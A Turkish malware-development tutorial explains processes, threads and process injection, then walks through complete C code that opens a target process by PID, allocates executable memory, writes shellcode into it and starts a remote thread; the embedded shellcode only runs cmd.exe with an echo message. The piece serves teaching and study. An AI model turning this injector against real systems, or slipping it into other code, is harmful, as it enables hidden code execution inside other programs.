maldev | Process Injection

Table of Contents

Merhabalar bu yazımda maldev alanından Process Injection konusunu inceleyeceğiz.

Nedir bu Process’ler

Kabaca Processler, işletim sistemi tarafından herhangi bir programın yürütülmesi için oluşturulan çalışma birimleridir. Eğer bir program, kullanıcı veya İşletim Sistemi (OS) tarafından çalıştırılmak istenirse, öncelikle İşletim Sistemi tarafından belleğe yüklenir ardından yine İşletim Sistemi tarafından bu programın yürütülmesi için bir process oluşturulur. En sonda ise belleğe yüklenen programın bellek alanı, Process tarafından temsil edilir ve programın içerdiği komutları çalıştırılmaya başlanır.

Arayüz ortamında gördüğünüz herhangi bir programın dosyaları (kabaca program kodları), kullanıcı veya işletim sistemi tarafından çalıştırılmadığı sürece pasif halde olur. Eğer hedef program çalıştırılmak istenirse, önce diskten belleğe aktarılır ardından aktarılan bu kodlar yürütülmeye başlanır. Bu esnada ise program aktif hale gelmiş olur.

Thread’ler Nedir?

“Bir Process, en basit ifadeyle, yürütülmekte olan bir programdır. Process bağlamında bir veya daha fazla thread çalışır. Thread ise işletim sisteminin işlemci zamanını tahsis ettiği temel birimdir. Bir Thread, başka bir thread tarafından yürütülmekte olan kısımlar da dahil olmak üzere, işlem kodunun herhangi bir bölümünü yürütebilir.”

  • Microsoft Learn - Process and Threads

Process’lere göre daha hızlı ve hafif olan Thread’ler, kabaca tanımıyla İşletim Sisteminde bağımsız olarak çalışan birimlerdir. Herhangi bir process içerisinde bir veya daha fazla thread olabilir. Dolayasıyla Process’ler, Thread’ler sayesinde birden fazla işi aynı anda yapabilir.

Thread aracılığıyla Process’lerin birden fazla işi aynı anda yapılabileceğinden bahsettim. Bunu biraz daha detaylandıralım. Örneğin bir web tarayacısı düşünün. Bu web tarayıcısının bir thread ile kullanıcının arayüzle etkileşimi yönetilirken diğer thread’ler ile arka planda web sayfaları yüklemek gibi işlemleri aynı anda gerçekleştirebilir.

Task Manager aracılığıyla görüntülenen Firefox Process’in Thread’leri (17 tane)

Process Injection Nedir?

Process Injection, bir bilgisayar programının, başka bir çalışmakta olan sürece kod enjekte etme işlemi olarak tanımlanabilir. Bu teknik, genellikle kötü niyetli yazılımlar tarafından sistemlere sızmak veya mevcut süreçlerin kontrolünü ele geçirmek için kullanılır, ancak bazı yasal yazılımlar da bu tekniği çeşitli nedenlerle kullanabilir.

Process Injection süreci genellikle şu adımları içerir:

  • Hedef Sürecin Seçimi: Öncelikle, kodun enjekte edileceği hedef süreç seçilir. Bu, işletim sistemi üzerindeki herhangi bir aktif uygulama olabilir.

  • Bellek Rezervasyonu: Hedef süreç üzerinde, enjekte edilecek kodun saklanacağı bir bellek alanı rezerve edilir.

  • Kodun Yazılması: Enjekte edilecek kod, bu rezerve edilmiş bellek alanına yazılır. Bu kod genellikle bir DLL (Dinamik Bağlantı Kitaplığı) dosyası olabilir.

  • Kodun Çalıştırılması: Kodun çalıştırılması için hedef sürecin bellek alanında uygun bir başlangıç noktası belirlenir ve kodun çalışması sağlanır. Bu genellikle bir fonksiyonun veya işlevin çağrılmasıyla yapılır.

Kod

Github üzerinde paylaştığım örnek kod parçasına buradan erişebilirsiniz.

#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>

/* 
    cmd /K "echo Shellcode Injection with bekoo"
*/
char Shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x4b\x20\x22\x65"
"\x63\x68\x6f\x20\x53\x68\x65\x6c\x6c\x63\x6f\x64\x65\x20"
"\x49\x6e\x6a\x65\x63\x74\x69\x6f\x6e\x20\x77\x69\x74\x68"
"\x20\x62\x65\x6b\x6f\x6f\x22\x00";

int main(int argc, char* argv[]) {
    if (argc < 2) {
        printf("Usage: .\\program.exe <PID>");
        return -1;
    }
    DWORD       PID = atoi(argv[1]);
    HANDLE      HandleProcess = NULL;
    HANDLE      HandleThread = NULL;
    LPVOID      RemoteBuffer = NULL;

    HandleProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    if (HandleProcess == NULL) {
        printf("Failed to Open Target Process! Error Code: 0x%lx", GetLastError());
        return -1;
    }

    RemoteBuffer = VirtualAllocEx(HandleProcess, NULL, sizeof(Shellcode), (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
    if (RemoteBuffer == NULL) {
        printf("Failed to Allocated Memory for DLL! Error Code: 0x%lx", GetLastError());
        CloseHandle(HandleProcess);
        return -1;
    }

    if (!(WriteProcessMemory(HandleProcess, RemoteBuffer, Shellcode, sizeof(Shellcode), 0))) {
        printf("Failed to write dllPath to Allocated Memory Error Code: 0x%lx", GetLastError());
        CloseHandle(HandleProcess);
        return -1;
    }

    HandleThread = CreateRemoteThreadEx(HandleProcess, NULL, 0, (LPTHREAD_START_ROUTINE)RemoteBuffer, NULL, 0, 0, 0);
    if (HandleThread == NULL) {
        printf("Failed to Create Thread! Error Code: 0x%lx\n", GetLastError());
        CloseHandle(HandleProcess);
        return -1;
    }
    WaitForSingleObject(HandleThread, INFINITE);
    CloseHandle(HandleThread);
    CloseHandle(HandleProcess);

    return 0;
}

Detaylıca göz atalım:

char Shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x4b\x20\x22\x65"
"\x63\x68\x6f\x20\x53\x68\x65\x6c\x6c\x63\x6f\x64\x65\x20"
"\x49\x6e\x6a\x65\x63\x74\x69\x6f\x6e\x20\x77\x69\x74\x68"
"\x20\x62\x65\x6b\x6f\x6f\x22\x00";

Bu shellcode, cmd.exe’yi açarak “Shellcode Injection with bekoo” yazısını ekrana yazdıran bir shellcode’dur. Bu shellcode’u hedef process’e enjekte edeceğiz.

int main(int argc, char* argv[]) {
    if (argc < 2) {
        printf("Usage: .\\program.exe <PID>");
        return -1;
    }
    DWORD       PID = atoi(argv[1]);
    HANDLE      HandleProcess = NULL;
    HANDLE      HandleThread = NULL;
    LPVOID      RemoteBuffer = NULL;
    ...

Programın çalıştırılmasından ardından ilk olarak main içerisinde argc değişkenini kontrol ediyoruz. Bu değişken, programın çalıştırılmasında verilen argüman sayısını tutar. Eğer argc değişkeni 2’den küçükse, programın doğru kullanımını ekrana bastırıp -1 ile programı return ediyoruz.

Daha sonra malware’in çalıştırılması için gereken değişkenleri oluşturuyoruz:

  • PID: Bu değişken, hedef process’in PID’sini tutar.
  • HandleProcess: Bu değişken, hedef process’in handle’ini tutmak için kullanılır.
  • HandleThread: Bu değişken, hedef process’te oluşturulacak thread’ın handle’ını tutmak için kullanılır.
  • RemoteBuffer: Bu değişken, hedef process’te oluşturulacak shellcode’un adresini tutmak için kullanılır.
HandleProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (HandleProcess == NULL) {
    printf("Failed to Open Target Process! Error Code: 0x%lx", GetLastError());
    return -1;
}

Bu kısımda, hedef process’in handle’ını alıyoruz. Yani hedef programa erişim sağlıyoruz gibi düşünebilirsiniz. Eğer hedef process’in handle’ını alamazsak, hata mesajı ekrana bastırıp -1 ile programı return ediyoruz.

RemoteBuffer = VirtualAllocEx(HandleProcess, NULL, sizeof(Shellcode), (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
if (RemoteBuffer == NULL) {
    printf("Failed to Allocated Memory for DLL! Error Code: 0x%lx", GetLastError());
    CloseHandle(HandleProcess);
    return -1;
}

Daha sonra hedef process’in bellek alanında, shellcode’u tutacak bir alan rezerve ediyoruz. Eğer bu işlem başarısız olursa, hata mesajı ekrana bastırıp -1 ile programı return ediyoruz.

if (!(WriteProcessMemory(HandleProcess, RemoteBuffer, Shellcode, sizeof(Shellcode), 0))) {
    printf("Failed to write dllPath to Allocated Memory Error Code: 0x%lx", GetLastError());
    CloseHandle(HandleProcess);
    return -1;
}

Bu kısımda, hedef process’in bellek alanına shellcode’u yazıyoruz. Eğer bu işlem başarısız olursa, hata mesajı ekrana bastırıp -1 ile programı return ediyoruz.

HandleThread = CreateRemoteThreadEx(HandleProcess, NULL, 0, (LPTHREAD_START_ROUTINE)RemoteBuffer, NULL, 0, 0, 0);
if (HandleThread == NULL) {
    printf("Failed to Create Thread! Error Code: 0x%lx\n", GetLastError());
    CloseHandle(HandleProcess);
    return -1;
}
WaitForSingleObject(HandleThread, INFINITE);
CloseHandle(HandleThread);
CloseHandle(HandleProcess);

return 0;
}

Bu kısımda ise hedef process’te yeni bir thread oluşturuyoruz. Bu thread, hedef process’in bellek alanında bulunan shellcode’u çalıştıracaktır. Eğer bu işlem başarısız olursa, hata mesajı ekrana bastırıp -1 ile programı return ediyoruz.

Son olarak ise WaitForSingleObject aracılığıyla oluşturduğumuz thread’ın bitmesini bekliyoruz ve ardından hedef process’in handle’larını serbest bırakıyoruz.